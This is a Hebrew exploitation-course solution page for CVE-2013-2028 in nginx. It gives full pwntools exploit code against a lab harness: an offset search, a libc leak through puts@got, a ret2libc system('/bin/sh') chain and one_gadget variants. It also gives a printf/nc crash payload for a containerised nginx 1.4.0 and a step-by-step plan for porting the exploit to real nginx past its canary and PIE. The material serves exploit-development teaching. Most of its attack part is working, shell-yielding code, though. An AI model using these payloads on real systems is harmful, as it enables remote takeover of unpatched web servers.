10.5 כתיבת exploit ל CVE אמיתי פתרון
פתרון - כתיבת exploit ל-CVE אמיתי¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא בסוף. הכתובות בפלט הן דוגמה - אצלכם הן ישתנו בכל הרצה בגלל ASLR, וזה בדיוק העניין. לעולם אל תעתיקו כתובת libc קבועה לסקריפט; תמיד חשבו אותה מהleak.
פתרון תרגיל 1 - לקרוא את החולשה ולנסח את הפרימיטיב¶
מ-NVD: החולשה CVE-2013-2028 היא overflow buffer על המחסנית ב-nginx 1.3.9 עד 1.4.0, דרך בקשת HTTP עם קידוד chunked וגודל chunk זדוני.
המסע של size ב-harness, כשהקלט הוא "ffffffff":
parse_chunk_size("ffffffff"):
accumulates digit by digit up to 0xffffffff
the value is stored in an int -> the bit pattern 0xffffffff as a signed int = -1
returns -1
discard_body:
size = -1
the check: if (size > (int)sizeof(buf)) -> if (-1 > 256) -> false!
-> size is not clamped, stays -1
read(0, buf, size) -> size_t(-1) = 0xffffffffffffffff
-> read reads as many bytes as we send, straight into buf[256] -> overflow
ניסוח הפרימיטיב במשפט אחד: כתיבה רציפה של בתים בשליטתנו מתחילת buf והלאה, באורך בשליטתנו, שכוללת את saved rbp ואת הreturn address - כלומר שליטה מלאה ב-RIP. זהו בדיוק הפרימיטיב של פרק 2, רק שהדרך אליו עוברת דרך שגיאת סימן.
פתרון תרגיל 2 - שחזור הקריסה ומציאת ה-offset¶
מפעילים את הoverflow ומוצאים את ה-offset עם cyclic:
from pwn import *
context.binary = elf = ELF('./chunkserver')
p = remote('127.0.0.1', 1337)
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n') # negative size -> bypasses the check
p.send(cyclic(400))
p.wait() # the worker crashes
כדי לקרוא את הערך שנחת ב-RIP, מריצים את הבינארי מקומית תחת gdb ומזינים את אותו קלט:
pwndbg> r
chunk> (enter: ffffffff\n then cyclic(400))
Program received signal SIGSEGV
pwndbg> x/wx $rsp
0x7fffffffe0a8: 0x6161616e
ומחשבים:
ה-offset הוא 280 (buffer 256, padding alignment, saved rbp של 8). אימות שליטה מלאה ב-RIP:
p.send(b'ffffffff\n')
p.send(flat({280: p64(0xdeadbeefcafebabe)}))
# under gdb: RIP = 0xdeadbeefcafebabe -> full control
בדיקת ההגנות:
$ checksec ./chunkserver
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
מה שמקל: בלי canary (הoverflow מגיעה לreturn address בלי להיתפס) ובלי PIE (כתובות הבינארי קבועות). מה שחסר בגללי כיבוי: NX פעיל, אז אי אפשר shellcode על המחסנית - חייבים ROP. ASLR דלוק, אז לא יודעים את כתובת libc מראש - חייבים leak.
פתרון תרגיל 3 - leak libc וחישוב הבסיס¶
מוצאים את הכתובות ובונים את chain הleak:
>>> hex(elf.plt['puts']), hex(elf.got['puts']), hex(elf.symbols['main'])
('0x401060', '0x404028', '0x4011a5')
rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # puts(&puts@got) -> leaks a real libc address
rop.call('main') # return to the loop for a second round
log.info('\n' + rop.dump())
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n')
p.send(flat({280: rop.chain()}))
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success('puts @ %#x', leaked)
libc = ELF('./libc.so.6')
libc.address = leaked - libc.symbols['puts']
log.success('libc base @ %#x', libc.address)
assert libc.address & 0xfff == 0
פלט לדוגמה:
[*] 0x0000: 0x40128b pop rdi; ret
0x0008: 0x404028 [arg0] rdi = got.puts
0x0010: 0x401060 puts
0x0018: 0x4011a5 main
[+] puts @ 0x7f5b3c0a8e50
[+] libc base @ 0x7f5b3c028000
ה-assert עובר כי הבסיס נגמר ב-000. אם היה נגמר במשהו אחר - ה-libc אינו הגרסה של המטרה. כאן משכנו את ה-libc ישירות מהקונטיינר עם docker cp, אז הוא תואם. אילו עבדתם מול שרת שלא ידוע לכם ה-libc שלו, הייתם מזהים את הגרסה מ-12 הביטים התחתונים של הleak עם libc.rip או libc-database, בדיוק כמו ב-4.4.
למה זה עבד: puts(&puts@got) הדפיסה את שמונת הבתים שיושבים בכניסת ה-GOT של puts, שהם הכתובת האמיתית של puts בזמן ריצה. נקודה עדינה: ה-harness לא קורא ל-puts לפני הleak, אז בקישור עצל הכניסה עוד לא פתורה. אבל הקריאה שלנו ל-puts@plt עצמה מפעילה את ה-resolver, שכותב את הכתובת האמיתית לתוך puts@got לפני ש-puts קוראת את הפוינטר שהעברנו לה - אז מה שמודפס הוא כבר הכתובת האמיתית. החזרה ל-main הפעילה מחדש את הלולאה, ולכן קיבלנו סיבוב שני לתקיפה.
פתרון תרגיל 4 - קבלת shell עם ret2libc¶
מוסיפים את שלב 2, ret2libc בכתובות המחושבות:
rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00')) # the string exists inside libc
rop2.raw(rop2.find_gadget(['ret'])[0]) # 16-byte alignment (movaps)
rop2.call(libc.symbols['system'], [binsh])
p.recvuntil(b'chunk> ') # the loop prints the prompt again
p.send(b'ffffffff\n')
p.send(flat({280: rop2.chain()}))
p.interactive()
הפלט, ואז shell:
אם היינו שוכחים את גאדג'ט ה-ret הראשון, היינו רואים קריסה כזו ב-gdb:
Program received signal SIGSEGV
=> 0x7f5b3c078db1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0
זה החתום המובהק של בעיית alignment. גאדג'ט ה-ret הבודד מזיז את rsp ב-8 ומיישר אותו ל-16 בתים.
למה זה עבד: אחרי ששלב 1 החזיר אותנו ל-main, הלולאה קראה שוב ל-discard_body, וקיבלנו overflow שנייה. הפעם rdi הצביע על /bin/sh בכתובת המחושבת, ו-system רצה בכתובת המחושבת. איך להכליל: זה ret2libc רגיל, רק שכל הכתובות באות מ-libc.address שגילינו בleak, לא קבועות.
פתרון תרגיל 5 - גרסת one_gadget¶
מריצים one_gadget על ה-libc של המטרה:
$ one_gadget ./libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
בוחרים את 0x4f322 כי האילוץ שלו, [rsp+0x40] == NULL, בשליטתנו - מרפדים אפסים אחרי כתובת הגאדג'ט. שלב 2 הופך לקפיצה בודדת:
og = libc.address + 0x4f322
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n')
p.send(flat({280: [og, 0, 0, 0, 0, 0, 0, 0, 0]})) # zeros -> [rsp+0x40]==NULL
p.interactive()
תשע ה-0 שאחרי og דואגות שהזיכרון מ-rsp והלאה יהיה אפס, כולל rsp+0x40. אם היינו שולחים רק את הגאדג'ט בלי הpadding, rsp+0x40 היה מצביע על זבל, ה-argv של execve היה לא חוקי, וה-shell לא היה נפתח.
אם 0x4f322 לא היה עובד (למשל בגלל שאילוץ הalignment לא מתקיים), עוברים ל-0x10a38c שדורש [rsp+0x70] == NULL (מרפדים יותר אפסים), או נופלים חזרה לchain ה-system המלאה מתרגיל 4 שהיא האמינה ביותר.
למה זה עבד: one_gadget מריץ execve("/bin/sh", 0, 0) בקפיצה אחת, בלי לבנות ארגומנטים - כל עוד האילוץ שלו מתקיים ברגע הקפיצה. איך להכליל: קודם מנסים one_gadget (קצר), ואם אף מועמד לא מסתדר - ret2libc מלא (בטוח).
פתרון תרגיל 6 (בונוס) - שחזור על nginx האמיתי ו-porting¶
שחזור הקריסה על nginx 1.4.0 בקונטיינר:
docker build -f Dockerfile.nginx -t nginx-vuln .
docker run -d --name nginx-vuln -p 8080:80 nginx-vuln
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\nffffffffffffffff\r\n' \
| nc 127.0.0.1 8080
docker exec nginx-vuln cat /usr/local/nginx/logs/error.log | grep -i signal
בלוג נראה שורה על worker process שיצא עם signal 11 (SIGSEGV) - הקריסה שוחזרה על היעד האמיתי.
בדיקת ההגנות של nginx לעומת ה-harness:
$ checksec /usr/local/nginx/sbin/nginx
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RELRO: Full RELRO
ההבדל מה-harness: nginx נבנה עם canary ועם PIE (ולרוב Full RELRO). לכן ה-exploit הפשוט שלנו לא יעבוד כמו שהוא.
מפת הדרך ל-exploit מלא על nginx (תכנון בלבד):
1. Leaking the canary -> the same overflow reads/returns bytes; we leak the canary
and write it back in place, so we don't get caught.
2. Leaking the PIE base -> leak some code address (a frame's saved return address)
-> compute the binary base -> PLT/GOT addresses known.
3. Leaking libc -> like we did: puts(&puts@got) -> libc base.
4. Attack -> ret2libc or one_gadget at the computed addresses -> shell.
למה ה-worker המתמשך עוזר: worker של nginx חי לאורך זמן ומשרת בקשות רבות על אותו מרחב כתובות. הcanary, בסיס ה-PIE ובסיס ה-libc יציבים כל עוד ה-worker חי, אז leak אחת בבקשה אחת תקפה לכל הבקשות שאחריה. זה בדיוק מה שניצלנו ב-harness עם הלולאה: דלפנו בסיבוב אחד ותקפנו בבא. יתרה מזו, אם ה-worker קורס הוא מופעל מחדש, מה שבמקרים מסוימים מאפשר brute-force על בייט בודד של כתובת עד נחיתה מוצלחת.
מה חוזר מהתרגול הזה: מסלול ה-n-day המלא הוא שרשרת של שכבות. הפרימיטיב הבסיסי - שליטה ב-RIP דרך overflow buffer - זהה בין ה-harness ל-nginx האמיתי. כל הגנה נוספת (canary, PIE) מוסיפה שלב leak, אבל לא משנה את הליבה. ברגע שאתם יודעים לנסח פרימיטיב, לבודד אותו ל-harness, ולחבר cyclic + leak + ROP/one_gadget - יש לכם את התבנית שעובדת מול כל CVE של השחתת זיכרון.